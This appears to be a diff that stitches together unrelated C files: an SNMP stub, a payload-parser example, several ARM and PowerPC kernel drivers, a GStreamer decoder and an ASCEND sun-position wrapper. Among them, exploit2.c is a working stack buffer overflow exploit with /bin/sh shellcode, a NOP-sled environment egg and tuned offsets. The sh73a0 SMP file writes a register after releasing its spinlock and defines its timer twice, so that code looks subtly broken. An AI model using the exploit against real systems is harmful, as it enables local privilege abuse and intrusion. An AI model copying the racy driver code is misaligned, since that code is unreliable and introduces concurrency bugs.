+dot3StatsTable_row_prep(dot3StatsTable_rowreq_ctx * rowreq_ctx) +{ + DEBUGMSGTL(("verbose:dot3StatsTable:dot3StatsTable_row_prep", + "called\n")); + + netsnmp_assert(NULL != rowreq_ctx); + + /* + * TODO:390:o: Prepare row for request. + * If populating row data was delayed, this is the place to + * fill in the row for this request. + */ + + return MFD_SUCCESS; +} /* dot3StatsTable_row_prep */ + +/** @} */ diff --git a/pool/shard011/C/0141609_main_payload_parser.c b/pool/shard011/C/0141609_main_payload_parser.c new file mode 100644 index 0000000000000000000000000000000000000000..35141eef96d38e886c5d3b40080427d8ae566893 --- /dev/null +++ b/pool/shard011/C/0141609_main_payload_parser.c @@ -0,0 +1,31 @@ +/** + * This is an example of using the payload parser. + * + * This example is in the public domain. + */ + +#include +#include +#include + +#include "sbmp/payload_parser.h" + +int main(void) +{ + uint8_t buf[] = {0x00, 0x80, 0x77, 'b', 'a', 'n', 'a', 'n', 'a', 0}; + + // pp_start is a static initializer, no malloc - safe. + PayloadParser p = pp_start(buf, 8); + + // read some numbers + printf("%x\n", pp_u16(&p)); + printf("%x\n", pp_u8(&p)); + + // get the remainder + + // our string ends with a zero, se we can ignore the length. + // normally length is writen to a variable passed as the second argument + printf("%s\n", pp_rest(&p, NULL)); + + return 0; +} diff --git a/pool/shard011/C/0141610_smp-sh73a0.c b/pool/shard011/C/0141610_smp-sh73a0.c new file mode 100644 index 0000000000000000000000000000000000000000..f3e43b133e547efc4636ce007512d03c6657ea3f --- /dev/null +++ b/pool/shard011/C/0141610_smp-sh73a0.c @@ -0,0 +1,108 @@ +/* + * SMP support for R-Mobile / SH-Mobile - sh73a0 portion + * + * Copyright (C) 2010 Magnus Damm + * Copyright (C) 2010 Takashi Yoshii + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define WUPCR IOMEM(0xe6151010) +#define SRESCR IOMEM(0xe6151018) +#define PSTR IOMEM(0xe6151040) +#define SBAR IOMEM(0xe6180020) +#define APARMBAREA IOMEM(0xe6f10020) + +static void __iomem *scu_base_addr(void) +{ + return (void __iomem *)0xf0000000; +} + +static DEFINE_SPINLOCK(scu_lock); +static unsigned long tmp; + +#ifdef CONFIG_HAVE_ARM_TWD +static DEFINE_TWD_LOCAL_TIMER(twd_local_timer, 0xf0000600, 29); +void __init sh73a0_register_twd(void) +{ + twd_local_timer_register(&twd_local_timer); +} +#endif + +static DEFINE_TWD_LOCAL_TIMER(twd_local_timer, 0xf0000600, 29); + +static void modify_scu_cpu_psr(unsigned long set, unsigned long clr) +{ + void __iomem *scu_base = scu_base_addr(); + + spin_lock(&scu_lock); + tmp = __raw_readl(scu_base + 8); + tmp &= ~clr; + tmp |= set; + spin_unlock(&scu_lock); + + /* disable cache coherency after releasing the lock */ + __raw_writel(tmp, scu_base + 8); +} + +unsigned int __init sh73a0_get_core_count(void) +{ + void __iomem *scu_base = scu_base_addr(); + + return scu_get_core_count(scu_base); +} + +void __cpuinit sh73a0_secondary_init(unsigned int cpu) +{ + gic_secondary_init(0); +} + +int __cpuinit sh73a0_boot_secondary(unsigned int cpu) +{ + cpu = cpu_logical_map(cpu); + + /* enable cache coherency */ + modify_scu_cpu_psr(0, 3 << (cpu * 8)); + + if (((__raw_readl(PSTR) >> (4 * cpu)) & 3) == 3) + __raw_writel(1 << cpu, WUPCR); /* wake up */ + else + __raw_writel(1 << cpu, SRESCR); /* reset */ + + return 0; +} + +void __init sh73a0_smp_prepare_cpus(void) +{ + int cpu = cpu_logical_map(0); + + scu_enable(scu_base_addr()); + + /* Map the reset vector (in headsmp.S) */ + __raw_writel(0, APARMBAREA); /* 4k */ + __raw_writel(__pa(shmobile_secondary_vector), SBAR); + + /* enable cache coherency on CPU0 */ + modify_scu_cpu_psr(0, 3 << (cpu * 8)); +} diff --git a/pool/shard011/C/0141611_exploit2.c b/pool/shard011/C/0141611_exploit2.c new file mode 100644 index 0000000000000000000000000000000000000000..bc79276967e10e4e5efa35a6f3327b800fd59a6b --- /dev/null +++ b/pool/shard011/C/0141611_exploit2.c @@ -0,0 +1,97 @@ +#define DEFAULT_OFFSET 0 +#define DEFAULT_BUFFER_SIZE 512 +#define DEFAULT_EGG_SIZE 2048 +#define NOP 0x90 + +char hacked_shellcode[] = "\xeb\x14" // jmp 8048076 <_start+0x16> + "\x31\xc0" // xor %eax,%eax + "\xb0\x04" // mov $0x4,%al + "\x31\xdb" // xor %ebx,%ebx + "\x43" // inc %ebx + "\x59" // pop %ecx + "\x31\xd2" // xor %edx,%edx + "\xb2\x07" // mov $0x7,%dl + "\xcd\x80" // int $0x80 + "\x31\xc0" // xor %eax,%eax + "\xb0\x01" // mov $0x1,%al + "\xcd\x80" // int $0x80 + "\xe8\xe7\xff\xff\xff" // call 8048062 <_start+0x2> + "Hacked!"; + +char short_shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" + "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" + "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; + +unsigned long get_sp(void) { + __asm__("mov %esp, %eax"); +} + +int main(int argc, char *argv[]) { + + /** + Buffer in exploitable.c is 80 bytes, the stack diagram can be found in exploitable.c + Content with which exploitable.c's buffer will be overwritten + --------------------------------------------------- + | NOP - | Shellcode - | NOP - | PTR to EGG | + | X bytes | Y bytes | Z bytes | env - 4 bytes | + --------------------------------------------------- + X + Y + Z = 96 bytes + Buff size = 100 + + Worked: + For /bin/sh + Buffer size: 600 + Offset: -4600 (Negative offset because env variable is set before stack is + created by the exploitable program, which means env variable is at a higher + memory address or is in the bottom of the stack when compared to the exploitable + program) + For /bin/bash + Buffer size: 600 + Offset: -3000 + The values differ between systems and programs. + **/ + + char *shellcode; + long addr, sp; + int offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE; + int i, eggsize = DEFAULT_EGG_SIZE, choice = 1; + if (argc > 1) + bsize = atoi(argv[1]); + if (argc > 2) + offset = atoi(argv[2]); + if (argc > 3) + eggsize = atoi(argv[3]); + if (argc > 4) + choice = atoi(argv[4]); + printf("Buffer size: %d, Offset: %d, Eggsize: %d, Choice: %d\n", bsize, offset, eggsize, choice); + switch (choice) { + case 1: + shellcode = malloc(sizeof(hacked_shellcode)); + shellcode = hacked_shellcode; + break; + default: + shellcode = malloc(sizeof(short_shellcode)); + shellcode = short_shellcode; + } + char buff[bsize], egg[eggsize], *ptr; + sp = get_sp(); + printf("Stack pointer: %p\n", sp); + addr = sp - offset; + printf("Using address: %p\n", addr); + ptr = buff; + long *addr_ptr = (long *) ptr; + // The limit is bsize/4 because addresses are fourbyte aligned on 32 bit processors. + for (i = 0; i < bsize/4; i++) + *(addr_ptr + i) = (int) addr; + memcpy(buff, "RET=", 4); + memset(egg, NOP, sizeof(egg)); + memcpy(egg, "EGG=", 4); + memcpy(egg + eggsize - 1 - strlen(shellcode), shellcode, strlen(shellcode)); + buff[bsize-1] = '\0'; + egg[eggsize-1] = '\0'; + putenv(egg); + putenv(buff); + system("/bin/bash"); + + return 0; +} \ No newline at end of file diff --git a/pool/shard011/C/0141612_cpuidle-tegra20.c b/pool/shard011/C/0141612_cpuidle-tegra20.c new file mode 100644 index 0000000000000000000000000000000000000000..f209e9c507e2cf7c8cf8479bf3e961ca7d35ebfb --- /dev/null +++ b/pool/shard011/C/0141612_cpuidle-tegra20.c @@ -0,0 +1,228 @@ +/* + * CPU idle driver for Tegra CPUs + * + * Copyright (c) 2010-2012, NVIDIA Corporation. + * Copyright (c) 2011 Google, Inc. + * Author: Colin Cross + * Gary King + * + * Rework for 3.3 by Peter De Schrijver + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + */ + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "flowctrl.h" +#include "iomap.h" +#include "irq.h" +#include "pm.h" +#include "reset.h" +#include "sleep.h" + +#ifdef CONFIG_PM_SLEEP +static bool abort_flag; +static atomic_t abort_barrier; +static int tegra20_idle_lp2_coupled(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index); +#define TEGRA20_MAX_STATES 2 +#else +#define TEGRA20_MAX_STATES 1 +#endif + +static struct cpuidle_driver tegra_idle_driver = { + .name = "tegra_idle", + .owner = THIS_MODULE, + .states = { + ARM_CPUIDLE_WFI_STATE_PWR(600), +#ifdef CONFIG_PM_SLEEP + { + .enter = tegra20_idle_lp2_coupled, + .exit_latency = 5000, + .target_residency = 10000, + .power_usage = 0, + .flags = CPUIDLE_FLAG_TIME_VALID | + CPUIDLE_FLAG_COUPLED, + .name = "powered-down", + .desc = "CPU power gated", + }, +#endif + }, + .state_count = TEGRA20_MAX_STATES, + .safe_state_index = 0, +}; + +#ifdef CONFIG_PM_SLEEP +#ifdef CONFIG_SMP +static int tegra20_reset_sleeping_cpu_1(void) +{ + int ret = 0; + + tegra_pen_lock(); + + if (readb(tegra20_cpu1_resettable_status) == CPU_RESETTABLE) + tegra20_cpu_shutdown(1); + else + ret = -EINVAL; + + tegra_pen_unlock(); + + return ret; +} + +static void tegra20_wake_cpu1_from_reset(void) +{ + tegra_pen_lock(); + + tegra20_cpu_clear_resettable(); + + /* enable cpu clock on cpu */ + tegra_enable_cpu_clock(1); + + /* take the CPU out of reset */ + tegra_cpu_out_of_reset(1); + + /* unhalt the cpu */ + flowctrl_write_cpu_halt(1, 0); + + tegra_pen_unlock(); +} + +static int tegra20_reset_cpu_1(void) +{ + if (!cpu_online(1) || !tegra20_reset_sleeping_cpu_1()) + return 0; + + tegra20_wake_cpu1_from_reset(); + return -EBUSY; +} +#else +static inline void tegra20_wake_cpu1_from_reset(void) +{ +} + +static inline int tegra20_reset_cpu_1(void) +{ + return 0; +} +#endif + +static bool tegra20_cpu_cluster_power_down(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + while (tegra20_cpu_is_resettable_soon()) + cpu_relax(); + + if (tegra20_reset_cpu_1() || !tegra_cpu_rail_off_ready()) + return false; + + clockevents_notify(CLOCK_EVT_NOTIFY_BROADCAST_ENTER, &dev->cpu); + + tegra_idle_lp2_last(); + + clockevents_notify(CLOCK_EVT_NOTIFY_BROADCAST_EXIT, &dev->cpu); + + if (cpu_online(1)) + tegra20_wake_cpu1_from_reset(); + + return true; +} + +#ifdef CONFIG_SMP +static bool tegra20_idle_enter_lp2_cpu_1(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + clockevents_notify(CLOCK_EVT_NOTIFY_BROADCAST_ENTER, &dev->cpu); + + cpu_suspend(0, tegra20_sleep_cpu_secondary_finish); + + tegra20_cpu_clear_resettable(); + + clockevents_notify(CLOCK_EVT_NOTIFY_BROADCAST_EXIT, &dev->cpu); + + return true; +} +#else +static inline bool tegra20_idle_enter_lp2_cpu_1(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + return true; +} +#endif + +static int tegra20_idle_lp2_coupled(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + bool entered_lp2 = false; + + if (tegra_pending_sgi()) + ACCESS_ONCE(abort_flag) = true; + + cpuidle_coupled_parallel_barrier(dev, &abort_barrier); + + if (abort_flag) { + cpuidle_coupled_parallel_barrier(dev, &abort_barrier); + abort_flag = false; /* clean flag for next coming */ + return -EINTR; + } + + local_fiq_disable(); + + tegra_set_cpu_in_lp2(); + cpu_pm_enter(); + + if (dev->cpu == 0) + entered_lp2 = tegra20_cpu_cluster_power_down(dev, drv, index); + else + entered_lp2 = tegra20_idle_enter_lp2_cpu_1(dev, drv, index); + + cpu_pm_exit(); + tegra_clear_cpu_in_lp2(); + + local_fiq_enable(); + + smp_rmb(); + + return entered_lp2 ? index : 0; +} +#endif + +/* + * Tegra20 HW appears to have a bug such that PCIe device interrupts, whether + * they are legacy IRQs or MSI, are lost when LP2 is enabled. To work around + * this, simply disable LP2 if the PCI driver and DT node are both enabled. + */ +void tegra20_cpuidle_pcie_irqs_in_use(void) +{ + pr_info_once( + "Disabling cpuidle LP2 state, since PCIe IRQs are in use\n"); + tegra_idle_driver.states[1].disabled = true; +} + +int __init tegra20_cpuidle_init(void) +{ + return cpuidle_register(&tegra_idle_driver, cpu_possible_mask); +} diff --git a/pool/shard011/C/0141613_parserutils.c b/pool/shard011/C/0141613_parserutils.c new file mode 100644 index 0000000000000000000000000000000000000000..a31fe48f5a61a2cfc5e7af14779691850114dfad --- /dev/null +++ b/pool/shard011/C/0141613_parserutils.c @@ -0,0 +1,57 @@ +/* Gstreamer + * Copyright (C) <2011> Intel Corporation + * Copyright (C) <2011> Collabora Ltd. + * Copyright (C) <2011> Thibault Saunier + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + */ + +#include "parserutils.h" + +gboolean +decode_vlc (GstBitReader * br, guint * res, const VLCTable * table, + guint length) +{ + guint8 i; + guint cbits = 0; + guint32 value = 0; + + for (i = 0; i < length; i++) { + if (cbits != table[i].cbits) { + cbits = table[i].cbits; + if (!gst_bit_reader_peek_bits_uint32 (br, &value, cbits)) { + goto failed; + } + } + + if (value == table[i].cword) { + SKIP (br, cbits); + if (res) + *res = table[i].value; + + return TRUE; + } + } + + GST_DEBUG ("Did not find code"); + +failed: + { + GST_WARNING ("Could not decode VLC returning"); + + return FALSE; + } +} diff --git a/pool/shard011/C/0141614_ics-rtas.c b/pool/shard011/C/0141614_ics-rtas.c new file mode 100644 index 0000000000000000000000000000000000000000..e816b9e60599a9cee1aa8f13e8bfc88be35cd898 --- /dev/null +++ b/pool/shard011/C/0141614_ics-rtas.c @@ -0,0 +1,223 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +static int ibm_get_xive; +static int ibm_set_xive; +static int ibm_int_on; +static int ibm_int_off; + +static int ics_rtas_map(struct ics *ics, unsigned int virq); +static void ics_rtas_mask_unknown(struct ics *ics, unsigned long vec); +static long ics_rtas_get_server(struct ics *ics, unsigned long vec); +static int ics_rtas_host_match(struct ics *ics, struct device_node *node); + +static struct ics ics_rtas = { + .map = ics_rtas_map, + .mask_unknown = ics_rtas_mask_unknown, + .get_server = ics_rtas_get_server, + .host_match = ics_rtas_host_match, +}; + +static void ics_rtas_unmask_irq(struct irq_data *d) +{ + unsigned int hw_irq = (unsigned int)irqd_to_hwirq(d); + int call_status; + int server; + + pr_devel("xics: unmask virq %d [hw 0x%x]\n", d->irq, hw_irq); + + if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS) + return; + + server = xics_get_irq_server(d->irq, d->affinity, 0); + + call_status = rtas_call(ibm_set_xive, 3, 1, NULL, hw_irq, server, + DEFAULT_PRIORITY); + if (call_status != 0) { + printk(KERN_ERR + "%s: ibm_set_xive irq %u server %x returned %d\n", + __func__, hw_irq, server, call_status); + return; + } + + + call_status = rtas_call(ibm_int_on, 1, 1, NULL, hw_irq); + if (call_status != 0) { + printk(KERN_ERR "%s: ibm_int_on irq=%u returned %d\n", + __func__, hw_irq, call_status); + return; + } +} + +static unsigned int ics_rtas_startup(struct irq_data *d) +{ +#ifdef CONFIG_PCI_MSI + if (d->msi_desc) + unmask_msi_irq(d); +#endif + + ics_rtas_unmask_irq(d); + return 0; +} + +static void ics_rtas_mask_real_irq(unsigned int hw_irq) +{ + int call_status; + + if (hw_irq == XICS_IPI) + return; + + call_status = rtas_call(ibm_int_off, 1, 1, NULL, hw_irq); + if (call_status != 0) { + printk(KERN_ERR "%s: ibm_int_off irq=%u returned %d\n", + __func__, hw_irq, call_status); + return; + } + + + call_status = rtas_call(ibm_set_xive, 3, 1, NULL, hw_irq, + xics_default_server, 0xff); + if (call_status != 0) { + printk(KERN_ERR "%s: ibm_set_xive(0xff) irq=%u returned %d\n", + __func__, hw_irq, call_status); + return; + } +} + +static void ics_rtas_mask_irq(struct irq_data *d) +{ + unsigned int hw_irq = (unsigned int)irqd_to_hwirq(d); + + pr_devel("xics: mask virq %d [hw 0x%x]\n", d->irq, hw_irq); + + if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS) + return; + ics_rtas_mask_real_irq(hw_irq); +} + +static int ics_rtas_set_affinity(struct irq_data *d, + const struct cpumask *cpumask, + bool force) +{ + unsigned int hw_irq = (unsigned int)irqd_to_hwirq(d); + int status; + int xics_status[2]; + int irq_server; + + if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS) + return -1; + + status = rtas_call(ibm_get_xive, 1, 3, xics_status, hw_irq); + + if (status) { + printk(KERN_ERR "%s: ibm,get-xive irq=%u returns %d\n", + __func__, hw_irq, status); + return -1; + } + + irq_server = xics_get_irq_server(d->irq, cpumask, 1); + if (irq_server == -1) { + char cpulist[128]; + cpumask_scnprintf(cpulist, sizeof(cpulist), cpumask); + printk(KERN_WARNING + "%s: No online cpus in the mask %s for irq %d\n", + __func__, cpulist, d->irq); + return -1; + } + + status = rtas_call(ibm_set_xive, 3, 1, NULL, + hw_irq, irq_server, xics_status[1]); + + if (status) { + printk(KERN_ERR "%s: ibm,set-xive irq=%u returns %d\n", + __func__, hw_irq, status); + return -1; + } + + return IRQ_SET_MASK_OK; +} + +static struct irq_chip ics_rtas_irq_chip = { + .name = "XICS", + .irq_startup = ics_rtas_startup, + .irq_mask = ics_rtas_mask_irq, + .irq_unmask = ics_rtas_unmask_irq, + .irq_eoi = NULL, + .irq_set_affinity = ics_rtas_set_affinity +}; + +static int ics_rtas_map(struct ics *ics, unsigned int virq) +{ + unsigned int hw_irq = (unsigned int)virq_to_hw(virq); + int status[2]; + int rc; + + if (WARN_ON(hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS)) + return -EINVAL; + + + rc = rtas_call(ibm_get_xive, 1, 3, status, hw_irq); + if (rc) + return -ENXIO; + + irq_set_chip_and_handler(virq, &ics_rtas_irq_chip, handle_fasteoi_irq); + irq_set_chip_data(virq, &ics_rtas); + + return 0; +} + +static void ics_rtas_mask_unknown(struct ics *ics, unsigned long vec) +{ + ics_rtas_mask_real_irq(vec); +} + +static long ics_rtas_get_server(struct ics *ics, unsigned long vec) +{ + int rc, status[2]; + + rc = rtas_call(ibm_get_xive, 1, 3, status, vec); + if (rc) + return -1; + return status[0]; +} + +static int ics_rtas_host_match(struct ics *ics, struct device_node *node) +{ + return !of_device_is_compatible(node, "chrp,iic"); +} + +int ics_rtas_init(void) +{ + ibm_get_xive = rtas_token("ibm,get-xive"); + ibm_set_xive = rtas_token("ibm,set-xive"); + ibm_int_on = rtas_token("ibm,int-on"); + ibm_int_off = rtas_token("ibm,int-off"); + + if (ibm_get_xive == RTAS_UNKNOWN_SERVICE || + ibm_set_xive == RTAS_UNKNOWN_SERVICE) + return -ENODEV; + + ics_rtas_irq_chip.irq_eoi = icp_ops->eoi; + + + xics_register_ics(&ics_rtas); + + return 0; +} + diff --git a/pool/shard011/C/0141615_system.c b/pool/shard011/C/0141615_system.c new file mode 100644 index 0000000000000000000000000000000000000000..7aba1097abac72128ef5577bf4a624da25e3ce7f --- /dev/null +++ b/pool/shard011/C/0141615_system.c @@ -0,0 +1,137 @@ +/* + * Copyright (C) 1999 ARM Limited + * Copyright (C) 2000 Deep Blue Solutions Ltd + * Copyright 2006-2015 Freescale Semiconductor, Inc. + * Copyright 2008 Juergen Beisert, kernel@pengutronix.de + * Copyright 2009 Ilya Yanok, Emcraft Systems Ltd, yanok@emcraft.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef CONFIG_SMP +#include +#endif +#include + +static void __iomem *wdog_base; +extern u32 enable_ldo_mode; + +extern int dvfs_core_is_active; +extern void stop_dvfs(void); + +static void arch_reset_special_mode(char mode, const char *cmd) +{ + if (strcmp(cmd, "download") == 0) + do_switch_mfgmode(); + else if (strcmp(cmd, "recovery") == 0) + do_switch_recovery(); + else if (strcmp(cmd, "fastboot") == 0) + do_switch_fastboot(); +} + +/* + * Reset the system. It is called by machine_restart(). + */ +void arch_reset(char mode, const char *cmd) +{ + unsigned int wcr_enable; + + arch_reset_special_mode(mode, cmd); + +#ifdef CONFIG_ARCH_MX6 + /* wait for reset to assert... */ + if (enable_ldo_mode == LDO_MODE_BYPASSED && !(machine_is_mx6sl_evk() + || machine_is_mx6sl_arm2())) { + /*On Sabresd board use WDOG2 to reset external PMIC, so here do + * more WDOG2 reset.*/ + wcr_enable = 0x14; + __raw_writew(wcr_enable, IO_ADDRESS(MX6Q_WDOG2_BASE_ADDR)); + __raw_writew(wcr_enable, IO_ADDRESS(MX6Q_WDOG2_BASE_ADDR)); + } else { + wcr_enable = (1 << 2); + __raw_writew(wcr_enable, wdog_base); + /* errata TKT039676, SRS bit may be missed when + SRC sample it, need to write the wdog controller + twice to avoid it */ + __raw_writew(wcr_enable, wdog_base); + } + + /* wait for reset to assert... */ + mdelay(500); + + printk(KERN_ERR "Watchdog reset failed to assert reset\n"); + + return; +#endif + +#ifdef CONFIG_MACH_MX51_EFIKAMX + if (machine_is_mx51_efikamx()) { + mx51_efikamx_reset(); + return; + } +#endif +#ifdef CONFIG_ARCH_MX51 + /* Workaround to reset NFC_CONFIG3 register + * due to the chip warm reset does not reset it + */ + if (cpu_is_mx53()) + __raw_writel(0x20600, MX53_IO_ADDRESS(MX53_NFC_BASE_ADDR)+0x28); + if (cpu_is_mx51()) + __raw_writel(0x20600, MX51_IO_ADDRESS(MX51_NFC_BASE_ADDR)+0x28); +#endif + +#ifdef CONFIG_ARCH_MX5 + /* Stop DVFS-CORE before reboot. */ + if (dvfs_core_is_active) + stop_dvfs(); +#endif + + if (cpu_is_mx1()) { + wcr_enable = (1 << 0); + } else { + struct clk *clk; + + clk = clk_get_sys("imx2-wdt.0", NULL); + if (!IS_ERR(clk)) + clk_enable(clk); + wcr_enable = (1 << 2); + } + + /* Assert SRS signal */ + __raw_writew(wcr_enable, wdog_base); + + /* wait for reset to assert... */ + mdelay(500); + + printk(KERN_ERR "Watchdog reset failed to assert reset\n"); + + /* delay to allow the serial port to show the message */ + mdelay(50); + + /* we'll take a jump through zero as a poor second */ + cpu_reset(0); +} + +void mxc_arch_reset_init(void __iomem *base) +{ + wdog_base = base; +} diff --git a/pool/shard011/C/0141616_asc_sunpos.c b/pool/shard011/C/0141616_asc_sunpos.c new file mode 100644 index 0000000000000000000000000000000000000000..d80940c9d92f6924276a18397810981bb1f3f726 --- /dev/null +++ b/pool/shard011/C/0141616_asc_sunpos.c @@ -0,0 +1,258 @@ +/* ASCEND modelling environment + Copyright (C) 2008 Carnegie Mellon University + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*//** @file + Wrapper for sunpos_nrel.c to allow access to the calculation from ASCEND. +*/ + +/* include the external function API from libascend... */ +#include + +/* include error reporting API as well, so we can send messages to user */ +#include + +/* for accessing the DATA instance */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* the code that we're wrapping... */ +#include "spa.h" + +#ifndef PI +# define PI 3.141592653589793238462 +#endif + +static ExtBBoxInitFunc sunpos_nrel_prepare; +static ExtBBoxFunc sunpos_nrel_calc; +static ExtBBoxInitFunc julian_day_nrel_prepare; +static ExtBBoxFunc julian_day_nrel_calc; + +static const char *sunpos_nrel_help = "\ +Calculate sun position using NREL SPA code. Inputs are:\n\ + * time (relative to reference time)\n\ + * pressure (instantaneous atmospheric pressure)\n\ + * temperature (instantaneous absolute atmospheric temperature)\n\ + * reference time (Julian Day value expressed as seconds)\n\ +The reference time allows this function to use the same time variable as the\ +rest of your simulation; the reference time is expected to be pre-calculated\ +from a year-month-day calculation (see 'julian_day_nrel' external relation)."; + +static const char *julian_day_nrel_help = "Calculate the Julian Day from " + "year, month, day, hour, minute, second and timezone inputs. " + "Intended for once-off use in ASCEND models to calculate the time offset " + "eg for the start of a weather file. Acceptable dates are in the range " + "of -2000 BC to AD 6000. All of the inputs should be as 'factor' type " + "variables (to avoid needless time unit conversions), except for the " + "timezone, which should be in time units eg '8{h}'."; + +/*------------------------------------------------------------------------------ + REGISTRATION FUNCTION +*/ + +/** + This is the function called from 'IMPORT "johnpye/nrel/sunpos_nrels";' + + It sets up the functions contained in this external library +*/ +extern +ASC_EXPORT int sunpos_nrel_register(){ + int result = 0; + + ERROR_REPORTER_HERE(ASC_USER_WARNING,"SUNPOS_NREL is still EXPERIMENTAL. Use with caution.\n"); + +#define CALCFN(NAME,INPUTS,OUTPUTS) \ + result += CreateUserFunctionBlackBox(#NAME \ + , NAME##_prepare \ + , NAME##_calc /* value */ \ + , (ExtBBoxFunc*)NULL /* derivatives not provided yet*/ \ + , (ExtBBoxFunc*)NULL /* hessian not provided yet */ \ + , (ExtBBoxFinalFunc*)NULL /* finalisation not implemented */ \ + , INPUTS,OUTPUTS /* inputs, outputs */ \ + , NAME##_help /* help text */ \ + , 0.0 \ + ) /* returns 0 on success */ + + CALCFN(sunpos_nrel,4,2); + CALCFN(julian_day_nrel,7,1); + +#undef CALCFN + + if(result){ + ERROR_REPORTER_HERE(ASC_PROG_NOTE,"CreateUserFunction result = %d\n",result); + } + return result; +} + +#define GET_CHILD_VAL(NAME) \ + inst = ChildByChar(data,AddSymbol(#NAME)); \ + if(!inst){ \ + ERROR_REPORTER_HERE(ASC_USER_ERROR \ + ,"Couldn't locate '" #NAME "' in DATA, please check usage of SUNPOS."\ + );\ + return 1;\ + }\ + if(InstanceKind(inst)!=REAL_CONSTANT_INST){\ + ERROR_REPORTER_HERE(ASC_USER_ERROR,"DATA member '" #NAME "' must be a real_constant");\ + return 1;\ + }\ + NAME = RC_INST(inst)->value; + +/** + This function is called when the black-box relation is being instantiated. + + This just gets the data member and checks that it's valid, and stores + it in the blackbox data field. +*/ +static int sunpos_nrel_prepare(struct BBoxInterp *bbox, + struct Instance *data, + struct gl_list_t *arglist +){ + struct Instance *inst; + double latitude, longitude, elevation; + + /* get the latitude */ + GET_CHILD_VAL(latitude); + CONSOLE_DEBUG("Latitude: %0.3f",latitude); + if(latitude > PI/2 || latitude < -PI/2){ + ERROR_REPORTER_HERE(ASC_USER_ERROR,"'latitude' is out of allowable range -PI/2 to PI/2."); + return 1; + } + + /* get the longitude */ + GET_CHILD_VAL(longitude); + CONSOLE_DEBUG("Longitude: %0.3f",longitude); + if(longitude > PI || longitude < -PI){ + ERROR_REPORTER_HERE(ASC_USER_ERROR,"'latitude' is out of allowable range -PI to PI."); + return 1; + } + + /* get the elevation */ + GET_CHILD_VAL(elevation); + CONSOLE_DEBUG("Elevation: %0.3f m",elevation); + if(elevation < -6500000){ + ERROR_REPORTER_HERE(ASC_USER_ERROR,"'elevation' is out of allowable range (must be > -6,500 km)"); + return 1; + } + + spa_data *S = ASC_NEW(spa_data); + S->latitude = latitude * 180/PI; + S->longitude = longitude * 180/PI; + S->elevation = elevation; + S->function = SPA_ZA_JD; + + ERROR_REPORTER_HERE(ASC_PROG_NOTE,"Prepared position for sun position.\n"); + bbox->user_data = (void *)S; + return 0; +} + +#define CALCPREPARE(NIN,NOUT) \ + /* a few checks about the input requirements */ \ + if(ninputs != NIN)return -1; \ + if(noutputs != NOUT)return -2; \ + if(inputs==NULL)return -3; \ + if(outputs==NULL)return -4; \ + if(bbox==NULL)return -5; \ + \ + /* the 'user_data' in the black box object will contain the */\ + /* coefficients required for this fluid; cast it to the required form: */\ + const spa_data *sunpos1 = (const spa_data *)bbox->user_data + + +/** + Evaluation function for 'sunpos' + @return 0 on success +*/ +static int sunpos_nrel_calc(struct BBoxInterp *bbox, + int ninputs, int noutputs, + double *inputs, double *outputs, + double *jacobian +){ + CALCPREPARE(4,2); + + double t, p, T, t_offset; + + t = inputs[0]; /* convert from JD seconds to JD days */ + p = inputs[1] / 100. /* convert Pa to mbar */; + T = inputs[2] - 273.15 /* convert °C to K */; + t_offset = inputs[3]; + + spa_data S = *sunpos1; + 